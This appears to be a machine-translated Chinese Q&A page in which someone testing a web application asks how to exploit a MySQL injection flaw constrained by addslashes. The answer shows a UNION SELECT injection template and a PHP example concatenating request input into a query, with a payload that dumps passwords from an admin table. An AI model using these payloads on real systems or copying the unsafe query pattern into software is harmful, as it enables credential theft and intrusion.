Cyr*_* N. 0 mysql sql security
我想知道是否有可能覆盖SQL查询的Where子句中的列值(在我的情况下是MySQL).
更清楚,这是一个例子:
假设一个基本查询是:
SELECT lastname, firstname FROM contacts WHERE lastname = "Doe";
Run Code Online (Sandbox Code Playgroud)
是否可以强制lastname并firstname从其他表返回值,只需修改WHERE部分之后的内容即可?就像是
SELECT lastname, firstname FROM contacts WHERE lastname = (SELECT name FROM companies);
Run Code Online (Sandbox Code Playgroud)
我目前正在测试一个Web应用程序,我发现了一个SQL注入缺陷,我可以将其更改Doe为我想要的任何内容,但我只限制了一个查询(PHP的mysql_query限制)和addslashes(因此没有"和").
可能是
SELECT lastname, firstname FROM contacts WHERE lastname = "{0}" UNION SELECT {1} --
Run Code Online (Sandbox Code Playgroud)
其中{0}不存在的值和来自其他表的{1}数据
来自wiki示例的更新
$res = mysql_query("SELECT author FROM news WHERE id=" . $_REQUEST['id'] ." AND author LIKE ('a%')");
Run Code Online (Sandbox Code Playgroud)
成为
SELECT author FROM news WHERE id=-1 UNION SELECT password FROM admin/* AND author LIKE ('a%')
Run Code Online (Sandbox Code Playgroud)
| 归档时间: |
|
| 查看次数: |
1227 次 |
| 最近记录: |